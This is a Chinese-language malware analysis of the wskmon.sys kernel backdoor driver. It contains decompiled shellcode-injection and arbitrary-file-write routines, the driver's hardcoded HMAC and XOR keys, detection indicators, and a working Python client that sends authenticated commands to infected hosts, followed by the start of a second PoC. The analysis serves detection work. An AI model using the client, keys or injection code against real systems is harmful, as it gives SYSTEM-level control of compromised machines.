// Disposition = 5 = FILE_OVERWRITE_IF
// Options = 0x20 = FILE_NON_DIRECTORY_FILE
result = ZwCreateFile(&FileHandle, 0x40100000u, &ObjectAttributes, &IoStatusBlock,
0, 0x80u, 0, 5u, 0x20u, 0, 0);
v6 = result;
if ( result < 0 )
return result;
v7 = a2 - v4 - 2; // 文件内容长度 = 总长 - 2 - 路径长
if ( v7 )
v6 = ZwWriteFile(FileHandle, 0, 0, 0, &IoStatusBlock,
(PVOID)(a1 + v4 + 2LL), v7, 0, 0); // 写入文件内容
ZwClose(FileHandle);
return v6;
}
Payload 布局:
偏移 长度 字段
0x00 2 path_len (大端)
0x02 N UTF-8 文件路径
0x02+N M 文件内容
FILE_OVERWRITE_IF + OBJ_KERNEL_HANDLE 意味着可创建或静默覆写系统保护目录中的文件,绕过用户态 ACL。
7.3 Type 0x03 — ExecuteShellcodeInSvchost (0x140002040)
// ExecuteShellcodeInSvchost(buf, len): finds SYSTEM svchost.exe, KeStackAttachProcess,
// ZwAllocateVirtualMemory(Protect=0x40 PAGE_EXECUTE_READWRITE), memcpy_simd shellcode,
// CreateRemoteThreadInProcess at buffer base. Thread start = anonymous RWX allocation
// (shellcode-injection indicator).
__int64 __fastcall ExecuteShellcodeInSvchost(char *a1, unsigned int a2)
{
ULONG_PTR v2;
struct _KPROCESS *v4, *v5;
__int64 ProcessPeb, v8;
NTSTATUS v9;
struct _KAPC_STATE ApcState;
PVOID BaseAddress;
ULONG_PTR RegionSize, v13;
v2 = a2;
if ( !a1 || !a2 )
return 0xC000000DLL; // STATUS_INVALID_PARAMETER
v4 = (struct _KPROCESS *)FindSystemSvchostProcess();
v5 = v4;
if ( !v4 )
return 0xC0000225LL; // STATUS_NOT_FOUND
KeStackAttachProcess(v4, &ApcState);
if ( !g_pRtlCreateUserThread ) {
ProcessPeb = PsGetProcessPeb(v5);
ResolveZwCreateThreadEx(ProcessPeb);
}
RegionSize = v2;
BaseAddress = 0;
v8 = v2;
v9 = ZwAllocateVirtualMemory((HANDLE)-1, &BaseAddress, 0, &RegionSize,
0x3000u, 0x40u); // !!! PAGE_EXECUTE_READWRITE !!!
if ( v9 >= 0 ) {
memcpy_simd((char *)BaseAddress, a1, v8); // 写入 shellcode
KeUnstackDetachProcess(&ApcState);
v9 = CreateRemoteThreadInProcess(v5, (__int64)BaseAddress, 0); // Start=RWX buffer
if ( v9 >= 0 ) {
LABEL_11:
ObfDereferenceObject(v5);
return (unsigned int)v9;
}
KeStackAttachProcess(v5, &ApcState);
v13 = 0;
ZwFreeVirtualMemory((HANDLE)-1, &BaseAddress, &v13, 0x8000u);
}
KeUnstackDetachProcess(&ApcState);
goto LABEL_11;
}
经典 shellcode 注入特征:
PAGE_EXECUTE_READWRITE(0x40) — RWX 内存- 线程起始地址位于匿名 RWX 分配 (非镜像)
- 父进程是 svchost.exe
8. 进程注入辅助函数
8.1 FindSystemSvchostProcess (0x1400023D0)
枚举系统进程,找一个以 SYSTEM 身份运行的 svchost.exe:
// FindSystemSvchostProcess: enumerates SystemProcessInformation.
// For each PID: PsLookupProcessByProcessId, lowercases PsGetProcessImageFileName,
// compares to 'svchost.exe'. Skips PPL (PsIsProtectedProcess).
// PsReferencePrimaryToken -> SeQueryInformationToken(TokenUser). Validates SID:
// IdentifierAuthority=NT (5), SubAuthority[0]=18 => S-1-5-18 (LOCAL_SYSTEM).
// Returns referenced EPROCESS.
PEPROCESS sub_1400023D0()
{
ULONG v0 = 0x10000;
int v1 = 0;
while ( 1 ) {
ReturnLength = 0;
PoolWithTag = ExAllocatePoolWithTag(PagedPool, v0, 0x6D57734Bu); // tag 'mWsK'
v3 = PoolWithTag;
if ( !PoolWithTag ) return 0;
v4 = ZwQuerySystemInformation(SystemProcessInformation, PoolWithTag, v0, &ReturnLength);
if ( v4 != -1073741820 ) break; // STATUS_INFO_LENGTH_MISMATCH
ExFreePoolWithTag(v3, 0x6D57734Bu);
if ( ReturnLength <= v0 ) v0 *= 2; else v0 = ReturnLength + 4096;
if ( ++v1 >= 4 ) return 0;
}
if ( v4 < 0 ) { ExFreePoolWithTag(v3, 0x6D57734Bu); return 0; }
for ( i = v3; ; i = (unsigned int *)((char *)i + v17) ) {
v7 = (void *)*((_QWORD *)i + 10); // UniqueProcessId
Process = 0;
if ( v7 && PsLookupProcessByProcessId(v7, &Process) >= 0 ) {
ProcessImageFileName = PsGetProcessImageFileName(Process);
if ( ProcessImageFileName ) {
// case-insensitive compare (lowercase both sides) vs "svchost.exe"
for ( j = 0; ; ++j ) {
v10 = *(_BYTE *)(j + ProcessImageFileName);
v11 = aSvchostExe[j]; // 'svchost.exe'
if ( v10 < 65 ) v12 = *(_BYTE *)(j + ProcessImageFileName);
else {
v12 = v10 + 32;
if ( v10 > 90 ) v12 = *(_BYTE *)(j + ProcessImageFileName);
}
if ( v12 != v11 ) break;
if ( !v11 ) {
// 名字匹配,检查 PPL 保护
if ( !g_pPsIsProtectedProcess
|| !(unsigned __int8)g_pPsIsProtectedProcess(Process) ) {
v13 = PsReferencePrimaryToken(Process);
v14 = v13;
if ( v13 ) {
TokenInformation = 0;
v15 = 0;
if ( SeQueryInformationToken(v13, TokenUser, &TokenInformation) >= 0
&& TokenInformation ) {
v16 = *(_QWORD *)TokenInformation; // TOKEN_USER.User
// SID: IdentifierAuthority[5]==5 (NT), SubAuthority[0]==18 (SYSTEM)
if ( *(_QWORD *)TokenInformation
&& *(_BYTE *)(v16 + 1) == 1 // Revision
&& *(_BYTE *)(v16 + 7) == 5 // IdentifierAuthority=NT
&& *(_DWORD *)(v16 + 8) == 18 ) // SubAuthority[0]=18 (S-1-5-18)
v15 = 1;
ExFreePoolWithTag(TokenInformation, 0);
}
PsDereferencePrimaryToken(v14);
if ( v15 ) {
ExFreePoolWithTag(v3, 0x6D57734Bu);
return Process; // 返回 SYSTEM svchost EPROCESS
}
}
}
break;
}
}
}
ObfDereferenceObject(Process);
}
v17 = *i; // NextEntryOffset
if ( !(_DWORD)v17 ) break;
}
ExFreePoolWithTag(v3, 0x6D57734Bu);
return 0;
}
精准的目标选择:
- 跳过 PPL (Protected Process Light),避免触发保护机制
- 严格校验
S-1-5-18(LOCAL_SYSTEM),确保获得 SYSTEM 权限 - 名字小写比较,绕过大小写差异
8.2 ResolveRtlCreateUserThread (0x140001D50)
// ResolveRtlCreateUserThread: MmGetSystemRoutineAddress(L"RtlCreateUserThread")
// and L"PsIsProtectedProcess". If RtlCreateUserThread unavailable, scans
// KiSystemCallStart (msr 0xC0000082) for '4C 8D 15 ?? ?? ?? ??' (LEA r10, KiServiceTable)
// within 0x400 bytes, stores KiServiceTable ptr in g_KiServiceTablePtr for ResolveZwCreateThreadEx.
__int64 sub_140001D50()
{
unsigned __int64 v0;
__int64 i;
struct _UNICODE_STRING DestinationString;
RtlInitUnicodeString(&DestinationString, L"RtlCreateUserThread");
g_pRtlCreateUserThread = (__int64)MmGetSystemRoutineAddress(&DestinationString);
RtlInitUnicodeString(&DestinationString, L"PsIsProtectedProcess");
g_pPsIsProtectedProcess = (__int64)MmGetSystemRoutineAddress(&DestinationString);
if ( g_pRtlCreateUserThread )
return 0;
// RtlCreateUserThread 未导出 (现代 Windows) -> 扫描 KiSystemCallStart
v0 = __readmsr(0xC0000082); // LSTAR = KiSystemCallStart
for ( i = 0; (unsigned int)i < 0x400; i = (unsigned int)(i + 1) ) {
if ( *(_BYTE *)(i + v0) == 76 // 0x4C
&& *(_BYTE *)((unsigned int)(i + 1) + v0) == 0x8D // 0x8D
&& *(_BYTE *)((unsigned int)(i + 2) + v0) == 21 ) { // 0x15
// 命中 '4C 8D 15' = LEA r10, [rip+imm32]
// 目标地址 = imm32 + 当前位置 + 7 (指令长度)
g_KiServiceTablePtr = *(int *)(i + v0 + 3) + 7LL + i + v0;
return 0;
}
}
return 0;
}
8.3 ResolveZwCreateThreadEx (0x140002770)
仅在 g_pRtlCreateUserThread == NULL (现代 Windows 未导出) 时调用:
// ResolveZwCreateThreadEx: only if g_pRtlCreateUserThread==NULL (modern Windows).
// Walks attached-process PEB Ldr via FindModuleByUnicodeName(L"ntdll.dll")
// -> FindExportByName('ZwCreateThreadEx'). Validates stub bytes '4C 8B D1 B8'
// (mov r10,rcx; mov eax,SSN). Reads SSN, computes actual KiServiceTable[SSN] address
// via g_KiServiceTablePtr. Stores in g_pZwCreateThreadEx.
void __fastcall ResolveZwCreateThreadEx(__int64 a1)
{
__int64 v1, v2, v3, v4;
if ( !g_pZwCreateThreadEx ) {
v1 = g_KiServiceTablePtr;
if ( g_KiServiceTablePtr ) {
v2 = FindModuleByUnicodeName(a1, L"ntdll.dll", 9);
v3 = FindExportByName(v2, "ZwCreateThreadEx");
if ( v3 ) {
// 验证 ntdll!ZwCreateThreadEx stub 模式
if ( *(_BYTE *)v3 == 76 // 0x4C: mov r10, rcx
&& *(_BYTE *)(v3 + 1) == 0x8B
&& *(_BYTE *)(v3 + 2) == 0xD1
&& *(_BYTE *)(v3 + 3) == 0xB8 ) { // mov eax, SSN
v4 = *(unsigned int *)(v3 + 4); // SSN
if ( (unsigned int)v4 < *(_DWORD *)(v1 + 16) ) {
// 计算 KiServiceTable[SSN] 实际地址
// (SSN 索引处的 int 偏移 >> 4) + ntdll 系统调用存根基址
g_pZwCreateThreadEx = *(_QWORD *)v1
+ ((__int64)*(int *)(*(_QWORD *)v1 + 4 * v4) >> 4);
}
}
}
}
}
}
8.4 CreateRemoteThreadInProcess (0x1400025F0)
// CreateRemoteThreadInProcess(Process, StartAddress, Parameter):
// ZwOpenProcess(PROCESS_ALL_ACCESS) via CLIENT_ID{PsGetProcessId, 0}.
// If g_pRtlCreateUserThread exported -> call it (legit user-mode path).
// Else -> g_pZwCreateThreadEx (resolved syscall) with CreateThreadAccess=0x1FFFFF.
NTSTATUS __fastcall CreateRemoteThreadInProcess(struct _KPROCESS *a1, void *a2, void *a3)
{
NTSTATUS result, v6, v7;
HANDLE Handle, ProcessHandle = 0;
struct _CLIENT_ID ClientId;
struct _OBJECT_ATTRIBUTES ObjectAttributes;
if ( __PAIR128__((unsigned __int64)g_pRtlCreateUserThread,
(unsigned __int64)g_pZwCreateThreadEx) == 0 )
return 0xC000007A; // STATUS_PROCEDURE_NOT_FOUND
ClientId.UniqueProcess = PsGetProcessId(a1);
ClientId.UniqueThread = 0;
ObjectAttributes.Length = 0x30;
ObjectAttributes.RootDirectory = 0;
ObjectAttributes.Attributes = 0x200; // OBJ_KERNEL_HANDLE
ObjectAttributes.ObjectName = 0;
*(_OWORD *)&ObjectAttributes.SecurityDescriptor = 0;
result = ZwOpenProcess(&ProcessHandle, 0x1FFFFFu, &ObjectAttributes, &ClientId); // PROCESS_ALL_ACCESS
if ( result < 0 ) return result;
Handle = 0;
if ( g_pRtlCreateUserThread )
// RtlCreateUserThread(ProcessHandle, SecurityDescriptor=0, CreateSuspended=0,
// StackZeroBits=0, StackReserved=0, StackCommit=0,
// StartAddress=a2, Argument=a3, &hThread, ClientId=0)
v6 = g_pRtlCreateUserThread(ProcessHandle, 0, 0, 0, 0, 0, a2, a3, &Handle, 0);
else
// ZwCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, ProcessHandle,
// StartAddress=a2, Argument=a3, 0, 0, 0, 0, 0)
v6 = g_pZwCreateThreadEx(&Handle, 0x1FFFFF, 0, ProcessHandle, a2, a3, 0, 0, 0, 0, 0);
v7 = v6;
if ( v6 >= 0 && Handle ) ZwClose(Handle);
ZwClose(ProcessHandle);
return v7;
}
8.5 FindModuleByUnicodeName (0x1400021B0) & FindExportByName (0x1400022C0)
FindModuleByUnicodeName 走 PEB Ldr InLoadOrderModuleList,对 BaseDllName 做大小写不敏感匹配,最多扫 0x200 个条目;返回 DllBase。
FindExportByName 解析 PE 头 (校验 MZ/PE),根据 PE32 (0x78) 或 PE32+ (0x88) 的 optional header 偏移定位 IMAGE_EXPORT_DIRECTORY,遍历 AddressOfNames 进行 ASCII 字符串匹配;返回导出函数地址 (跳过 forwarder)。
两者是经典的 PE 解析辅助例程,源码见附录 B。
9. 密码学设计
9.1 HMAC-SHA256 验证 (0x140001BF0)
// VerifyHmacSha256(cmd_type, payload, payload_len, expected_tag):
// BCryptCreateHash with g_HmacSha256Key (32B secret, BCRYPT_HMAC).
// Hashes [1B cmd_type || payload] then BCryptFinishHash -> 32B digest.
// SIMD XOR/OR reduction compares digest vs expected_tag; returns true iff all 32 bytes match.
bool __fastcall VerifyHmacSha256(UCHAR a1, UCHAR *a2, ULONG a3, const __m128i *a4)
{
bool v7;
__m128 v8, v9, v10, v11;
UCHAR pbOutput[16];
__int128i v14[2];
UCHAR pbInput;
BCRYPT_HASH_HANDLE hHash;
pbInput = a1; // 1B cmd_type
hHash = 0;
// 用 g_HmacSha256Key (32B) 作为 HMAC 密钥
if ( !a2 || !a4 || !g_hSha256Algorithm
|| BCryptCreateHash(g_hSha256Algorithm, &hHash, 0, 0,
g_HmacSha256Key, 0x20u, 0) < 0 )
return 0;
v7 = 0;
if ( BCryptHashData(hHash, &pbInput, 1u, 0) >= 0 // 喂 cmd_type
&& BCryptHashData(hHash, a2, a3, 0) >= 0 // 喂加密 payload
&& BCryptFinishHash(hHash, pbOutput, 0x20u, 0) >= 0 ) { // 输出 32B HMAC
// 常时比较: XOR digest 与期望 tag,SIMD 折叠为单字节
v8 = _mm_or_ps(
_mm_xor_ps((__m128)_mm_loadu_si128(a4 + 1), (__m128)_mm_loadu_si128(v14)),
_mm_xor_ps((__m128)_mm_loadu_si128(a4), (__m128)_mm_loadu_si128((const __m128i *)pbOutput)));
v9 = _mm_or_ps(v8, (__m128)_mm_srli_si128((__m128i)v8, 8));
v10 = _mm_or_ps(v9, (__m128)_mm_srli_si128((__m128i)v9, 4));
v11 = _mm_or_ps(v10, (__m128)_mm_srli_si128((__m128i)v10, 2));
v7 = (unsigned __int8)_mm_cvtsi128_si32((__m128i)_mm_or_ps(v11, (__m128)_mm_srli_si128((__m128i)v11, 1))) == 0;
}
BCryptDestroyHash(hHash);
return v7;
}
关键点:
- HMAC 输入是
[1B cmd_type || encrypted_payload](注意:在 XOR 解密之前计算,即对密文做 HMAC) - 用 SIMD 折叠实现常时比较 (避免侧信道)
OpenSha256Provider用 flag8(=BCRYPT_ALG_HANDLE_HMAC_FLAG) 打开 SHA256,启用了 HMAC 模式
9.2 XOR 旋转加密
WorkerRoutine 中的解密循环:
for ( i = 0; i < payload_len; ++i )
payload[i] ^= g_XorCipherTable[i & 0x1F]; // 32 字节循环
32 字节 XOR 表 (0x140005470):
D2 47 8A 1E F3 6B C0 95 54 29 E7 3D 81 AF 66 0C
B8 72 1F E4 43 9D 5E 28 A6 0D 73 C9 3B 84 F1 52
9.3 HMAC-SHA256 密钥
32 字节密钥 (0x140005558):
A3 91 5B D7 0E 62 C4 88 3F 1A 7D E6 50 B9 2C F5
6E 83 47 DA 15 AC 79 0B C1 58 34 EF 96 2D 4A 71
这两个 32 字节常量是后门的全部密码学材料。一旦泄露,任何人都可以构造合法的指令包,因此它们也是该后门的最强 IOC 之一。
10. 检测指标 (基于反编译)
| 类别 | 指标 | 反编译依据 |
|---|---|---|
| 样本标识 | SHA-256 495c7e5513...db691979 |
(元信息) |
文件名 wskmon.sys |
DriverEntry 中 \\Device\\WskMon |
|
编译时间戳 0x69D10C8F (2026-04-04) |
(PE header) | |
签名主体 深圳市奥联信息安全技术有限公司 |
(Authenticode) | |
| 内存分配 Tag | 'mWsK' (0x6D57734B) — 所有 ExAllocatePoolWithTag 都用此 tag |
classifyFn、WorkerRoutine、FindSystemSvchostProcess |
| WFP 资源名 | WskMon Sub / WskMon Callout / WskMon Filter |
WfpRegisterStreamCallout |
| WFP GUID | {A1B2C3D4-E5F6-7890-ABCD-EF1234567890} (sublayer) 等 4 个手工构造 GUID |
0x1400053F0..0x140005420 |
| 网络协议 | Magic 7F 4E 54 46 (\x7FNTF) — 出现在裸 TCP 或 HTTP POST body 内 |
classifyFn 0x1400014cc、0x1400015b1 |
| HMAC-SHA256 + 大端 4 字节长度 + XOR 密文 | classifyFn 0x14000164a、WorkerRoutine XOR 循环 |
|
| 池内存密钥 | HMAC A3 91 5B D7 ... 96 2D 4A 71 (32B) |
g_HmacSha256Key @ 0x140005558 |
XOR D2 47 8A 1E ... 3B 84 F1 52 (32B) |
g_XorCipherTable @ 0x140005470 |
|
| 行为 | svchost.exe 子进程为 cmd.exe /c ... |
ExecuteShellCmdInSvchost 中 strcpy(v19, "cmd.exe /c ") |
SYSTEM svchost 内分配 RWX (PAGE_EXECUTE_READWRITE=0x40) 并启动线程 |
ExecuteShellcodeInSvchost 0x1400020fb |
|
内核态 ZwCreateFile(FILE_OVERWRITE_IF) 写入 \??\ 前缀路径 |
WriteFileFromKernel | |
| 线程起始地址在非镜像 RWX 分配 | CreateRemoteThreadInProcess | |
| 静态字节签名 | 4C 8D 15 (扫描 KiServiceTable) + 'mWsK' (pool tag) |
ResolveRtlCreateUserThread |
YARA 风格字符串 (来自二进制):
"\\Device\\WskMon"
"WskMon Sub" / "WskMon Callout" / "WskMon Filter"
"svchost.exe" / "cmd.exe /c " / "kernel32.dll" / "WinExec" / "ntdll.dll"
"ZwCreateThreadEx" / "RtlCreateUserThread" / "PsIsProtectedProcess"
"SHA256" (BCryptOpenAlgorithmProvider)
A3 91 5B D7 0E 62 C4 88 3F 1A 7D E6 50 B9 2C F5 6E 83 47 DA 15 AC 79 0B C1 58 34 EF 96 2D 4A 71 (HMAC key)
D2 47 8A 1E F3 6B C0 95 54 29 E7 3D 81 AF 66 0C B8 72 1F E4 43 9D 5E 28 A6 0D 73 C9 3B 84 F1 52 (XOR key)
11. 与参考文章的对照
| 文章论断 | 反编译佐证 | 一致性 |
|---|---|---|
| WHQL 签名、深圳市奥联、SHA-256 | (元信息) | ✓ |
| 无 IOCTL、无用户态代理 | DriverIrpStub 全 no-op;MajorFunction[*] = DriverIrpStub |
✓ |
WFP stream callout (FwpsCalloutRegister1) |
WfpRegisterStreamCallout 中 callout.classifyFn = classifyFn_1400013A0; FwpsCalloutRegister1(...) |
✓ |
Magic 7F 4E 54 46 (\x7FNTF) |
classifyFn 0x1400014cc & 0x1400015b1 的逐字节比较 |
✓ |
| HTTP POST body 内嵌 magic (扫前 0x400 字节) | classifyFn v16 = 0x400; FwpsCopyStreamDataToBuffer0(v8, v37, v16, ...) |
✓ |
| cmd_type 1=shell / 2=file / 3=shellcode | WorkerRoutine if (v38==1)...else if (v14==2)...else if (v14==3) |
✓ |
| 32B HMAC-SHA256 在 offset 0x05 | classifyFn v18[v36 + 5] 复制到 Context[0x09],长度 32 |
✓ |
| 4B 大端长度在 offset 0x25 | classifyFn 0x14000164a 读取 v18[v36 + 0x25..0x28] |
✓ |
| payload 从 0x29 开始 | v14 = v13 + 0x29 (头部总长) |
✓ |
| shell 上限 0x1000,其他 ~10MB | classifyFn if (v38 == 1) v20 = 0x1000; else v20 = 0xA00000 |
✓ |
| 旋转 XOR 密码 | WorkerRoutine *v8 ^= g_XorCipherTable[v9]; v9 = i & 0x1F |
✓ |
| 256 位 HMAC 密钥嵌入驱动 | g_HmacSha256Key (32B @ 0x140005558) |
✓ |
Type 1 注入 SYSTEM svchost + cmd.exe /c |
FindSystemSvchostProcess + strcpy(v19, "cmd.exe /c ") |
✓ |
Type 2 任意路径覆写 (FILE_OVERWRITE_IF) |
WriteFileFromKernel Disposition=5 |
✓ |
| 文件 payload: 2B BE path_len + UTF-8 + 内容 | WriteFileFromKernel _byteswap_ushort(*(WORD*)a1) |
✓ |
| 运行在 Session 0 (无可见窗口) | (运行时行为,由 SYSTEM svchost 注入间接保证) | ✓ |
KeStackAttachProcess / RtlCreateUserThread |
ExecuteShellCmdInSvchost & CreateRemoteThreadInProcess |
✓ |
| RWX 内存执行 shellcode | ExecuteShellcodeInSvchost Protect=0x40 |
✓ |
| Python http.server 演示中数据被吞 | classifyFn 返回 0x1001 并清 FWPS_RIGHT_ACTION_WRITE |
✓ |
文章未提及但反编译揭示的细节:
- Pool tag
'mWsK'(0x6D57734B) — 出现在所有ExAllocatePoolWithTag调用中 - PPL 检查 — 主动跳过受保护进程,避免触发 PatchGuard
- 常时 HMAC 比较 — 用 SIMD XOR+OR 折叠实现,避免侧信道
- ZwCreateThreadEx syscall 解析 — 现代 Windows 不导出
RtlCreateUserThread,作者通过扫描KiSystemCallStart(msr0xC0000082) 中的4C 8D 15指令定位KiServiceTable,再结合 ntdll stub 中的 SSN 计算ZwCreateThreadEx实际地址 - 数据流方向过滤 —
(v8->flags & 1) == 0时直接放行 (非接收方向不处理) - 流终止处理 —
v8->flags & 0xC检查 FIN/RST 类标志,决定是否请求更多数据 - 会话动态标志 —
session.flags = 1(FWPM_SESSION_FLAG_DYNAMIC) — 卸载时自动清理 filter
12. 附录 A:完整重命名函数清单 (已应用到 IDB)
0x140001000 DriverIrpStub (no-op IRP handler)
0x140001030 DriverEntry (entry, 已有)
0x1400011C0 DriverUnloadRoutine (unload)
0x140001210 WorkerRoutine (已有, command dispatcher)
0x1400013A0 classifyFn_1400013A0 (已有, WFP stream classify)
0x140001880 notifyFn_140001880 (已有, no-op)
0x140001890 WfpRegisterStreamCallout (register callout/sublayer/filter)
0x140001B20 WfpUnregisterCallout
0x140001BA0 OpenSha256Provider (BCryptOpenAlgorithmProvider SHA256-HMAC)
0x140001BC0 CloseSha256Provider
0x140001BF0 VerifyHmacSha256 (HMAC verification w/ constant-time compare)
0x140001D50 ResolveRtlCreateUserThread (MmGetSystemRoutineAddress + KiServiceTable scan)
0x140001E10 ExecuteShellCmdInSvchost (Type 1: cmd.exe /c injection)
0x140002040 ExecuteShellcodeInSvchost (Type 3: RWX shellcode injection)
0x1400021B0 FindModuleByUnicodeName (PEB Ldr lookup)
0x1400022C0 FindExportByName (PE export parser)
0x1400023D0 FindSystemSvchostProcess (find SYSTEM svchost.exe, skip PPL)
0x1400025F0 CreateRemoteThreadInProcess (RtlCreateUserThread / ZwCreateThreadEx)
0x140002770 ResolveZwCreateThreadEx (resolve syscall via ntdll + KiServiceTable)
0x1400027F0 WriteFileFromKernel (Type 2: arbitrary file write)
0x140002B80 memcpy_simd
0x140003040 memset_aligned
0x140003180 memset_large
0x1400031C0 memset_aligned_v2
0x140004010 memset_thunk
13. 附录 B:辅助函数反编译 (PEB/PE 解析)
13.1 FindModuleByUnicodeName (0x1400021B0)
// FindModuleByUnicodeName(PEB, name_w, name_chars): walks PEB->Ldr->InLoadOrderModuleList
// (max 0x200 entries). Case-insensitive compare of BaseDllName. Returns DllBase.
__int64 __fastcall FindModuleByUnicodeName(__int64 a1, __int64 a2, unsigned __int16 a3)
{
__int64 result, *v6, *v8;
int v7, v9;
__int64 v10, v14;
unsigned __int16 i, v12, v13;
if ( !a1 ) return 0;
result = *(_QWORD *)(a1 + 0x18); // PEB->Ldr (PEB_LDR_DATA*)
if ( !result ) return result;
v6 = (__int64 *)(result + 0x10); // &InLoadOrderModuleList
v7 = 0x200; // 最多扫描 512 个
v8 = *(__int64 **)(result + 0x10); // FirstEntry
while ( v8 != v6 ) {
v9 = v7--;
if ( v9 <= 0 ) break;
v10 = v8[0xC]; // BaseDllName.Buffer
if ( v10 && *((_WORD *)v8 + 0x2C) >> 1 == a3 ) { // BaseDllName.Length/2 == a3
for ( i = 0; i < a3; ++i ) {
v12 = *(_WORD *)(v10 + 2LL * i);
v13 = *(_WORD *)(a2 + 2LL * i);
if ( v12 >= 0x41u && v12 <= 0x5Au ) v12 += 0x20; // 大写转小写
if ( v13 >= 0x41u && v13 <= 0x5Au ) v13 += 0x20;
if ( v12 != v13 ) {
v8 = (__int64 *)*v8; // NextEntry
goto next;
}
}
return v8[6]; // DllBase
}
next:
v8 = (__int64 *)*v8;
}
return 0;
}
13.2 FindExportByName (0x1400022C0)
// FindExportByName(DllBase, name): parses PE headers (MZ/PE check),
// handles PE32 (0x78) and PE32+ (0x88) optional header. Walks AddressOfNames
// for ASCII match. Returns function address (skips forwarders).
__int64 __fastcall FindExportByName(__int64 a1, _BYTE *a2)
{
__int64 v4, v5, v6;
int v7, v8;
_BYTE *v9, *v10;
__int64 v11;
if ( !a1 ) return 0;
if ( *(_WORD *)a1 != 0x5A4D ) return 0; // 'MZ'
v4 = a1 + *(int *)(a1 + 0x3C); // e_lfanew
if ( *(_DWORD *)v4 != 0x4550 ) return 0; // 'PE'
v5 = 0x78; // PE32 export dir offset
if ( *(_WORD *)(v4 + 0x18) == 0x20B ) v5 = 0x88; // PE32+ magic
v6 = *(unsigned int *)(v5 + v4); // ExportDirectory RVA
if ( !(_DWORD)v6 ) return 0;
v7 = *(_DWORD *)(v5 + v4 + 4); // ExportDirectory Size
for ( v8 = 0; ; v8 = (unsigned int)(v8 + 1) ) {
if ( (unsigned int)v8 >= *(_DWORD *)(v6 + a1 + 0x18) ) // NumberOfNames
return 0;
v9 = a2;
v10 = (_BYTE *)(a1 + *(unsigned int *)(a1 + *(unsigned int *)(v6 + a1 + 0x20) + 4 * v8)); // Name RVA
// 字符串匹配
while ( *v9 ) {
if ( *v9 != *v10 ) break;
++v9; ++v10;
}
if ( !*v10 ) { // 完整匹配
v11 = *(unsigned int *)(a1
+ *(unsigned int *)(v6 + a1 + 0x1C) // AddressOfFunctions
+ 4LL * *(unsigned __int16 *)(a1 + *(unsigned int *)(v6 + a1 + 0x24) + 2 * v8)); // AddressOfNameOrdinals[v8]
if ( (unsigned int)v11 < (unsigned int)v6
|| (unsigned int)v11 >= v7 + (int)v6 ) // 非导出转发
return a1 + v11;
else
return 0; // forwarder, 跳过
}
}
}
14. 结论
wskmon.sys 是一个高度工程化的内核后门:
- 零用户态足迹 — 全部 27 个 IRP 主功能号都指向 no-op stub,没有 IOCTL/read/write 攻击面
- 网络协议自包含 —
\x7FNTF协议封装 magic / cmd_type / HMAC / length / 密文,支持裸 TCP 与 HTTP POST 隐藏两种通道 - 认证 + 加密双保险 — HMAC-SHA256 (密钥硬编码) 防止未授权指令,旋转 XOR 防止流量特征分析
- 三种命令能力 — 命令执行 (Session 0 SYSTEM)、任意路径文件覆写、RWX shellcode 注入
- 现代 Windows 兼容 — 主动解析
ZwCreateThreadEx系统调用地址 (通过扫描KiSystemCallStart与 ntdll stub),绕过RtlCreateUserThread不再导出的限制 - 检测规避意识 — 跳过 PPL 进程、常时 HMAC 比较、动态 WFP 会话标志 (卸载自动清理)
但同时也留下了大量可检测指标:手工构造的 WFP GUID、'mWsK' pool tag、\x7FNTF magic、32B HMAC/XOR 常量、svchost.exe 子进程 cmd.exe /c ...、SYSTEM 进程内 RWX 内存 + 匿名线程起始地址等,均为高信度 IOC。
本次分析已完成 IDA 数据库的重命名与注释 (*.i64 已保存),可作为后续防御规则开发与狩猎 (hunting) 的依据。
py
https://gist.github.com/pierrehpezier/fe1977d390a45e64d522e657fb8d3640
#!/usr/bin/env python3
import socket
import hashlib
import hmac
import sys
HOST = '192.168.56.115'
PORT = 8000
HMAC_KEY = bytes.fromhex('a3915bd70e62c4883f1a7de650b92cf56e8347da15ac790bc15834ef962d4a71')
XOR_KEY = bytes.fromhex('d2478a1ef36bc09554 29e73d81af660cb8721fe4439d5e28a60d73c93b84f152')
def build_ntf_payload(command: bytes) -> bytes:
encrypted = bytes(c ^ XOR_KEY[i % 32] for i, c in enumerate(command))
h = hmac.new(HMAC_KEY, digestmod=hashlib.sha256)
h.update(b'\x01')
h.update(encrypted)
mac = h.digest()
magic = bytes.fromhex('7f4e5446')
version = b'\x01'
size = len(encrypted).to_bytes(4, 'big')
return magic + version + mac + size + encrypted
def send_http_post(ntf_payload: bytes):
http_request = (
f"POST / HTTP/1.1\r\n"
f"Host: {HOST}:{PORT}\r\n"
f"Content-Type: application/octet-stream\r\n"
f"Content-Length: {len(ntf_payload)}\r\n"
f"\r\n"
).encode() + ntf_payload
print(f"Command: {command}")
print(f"NTF payload: {ntf_payload.hex()}")
print(f"HTTP body: POST / HTTP/1.1 ... ({len(http_request)} bytes total)")
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((HOST, PORT))
sock.sendall(http_request)
sock.close()
print(f"✓ Sent to {HOST}:{PORT}")
if __name__ == "__main__":
command = sys.argv[1].encode() if len(sys.argv) > 1 else b"calc.exe"
ntf_payload = build_ntf_payload(command)
send_http_post(ntf_payload)
AI生成的完整poc
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
wskmon.sys WFP 后门 PoC 客户端 — 用于验证逆向分析结果
======================================================
参考:
- 反编译分析文档: wskmon_analysis.md
- 参考实现: gistfile1.txt (Nextron Systems 公开,仅 Type 1)
- 目标驱动: 495c7e5513fa7766c236e76d8520139139fc4ad7203ddcb2ccdae17bdb691979.sys
协议格式 (反编译自 classifyFn_1400013A0 / WorkerRoutine):
偏移 长度 字段
0x00 4 Magic: 7F 4E 54 46 ("\x7FNTF")
0x04 1 cmd_type ∈ {0x01=shell, 0x02=file_write, 0x03=shellcode}
0x05 32 HMAC-SHA256 tag (覆盖 [cmd_type(1B) || encrypted_payload])
0x25 4 payload length (大端)
0x29 N XOR 加密 payload (key 32B 循环: payload[i] ^= XOR_KEY[i & 0x1F])
密码学材料 (反编译自 g_HmacSha256Key @ 0x140005558 / g_XorCipherTable @ 0x140005470):
HMAC_KEY = A3 91 5B D7 0E 62 C4 88 3F 1A 7D E6 50 B9 2C F5
6E 83 47 DA 15 AC 79 0B C1 58 34 EF 96 2D 4A 71
XOR_KEY = D2 47 8A 1E F3 6B C0 95 54 29 E7 3D 81 AF 66 0C
B8 72 1F E4 43 9D 5E 28 A6 0D 73 C9 3B 84 F1 52
Payload 布局:
Type 0x01 (shell): 命令字符串 (驱动自动前缀 "cmd.exe /c "),上限 0x1000
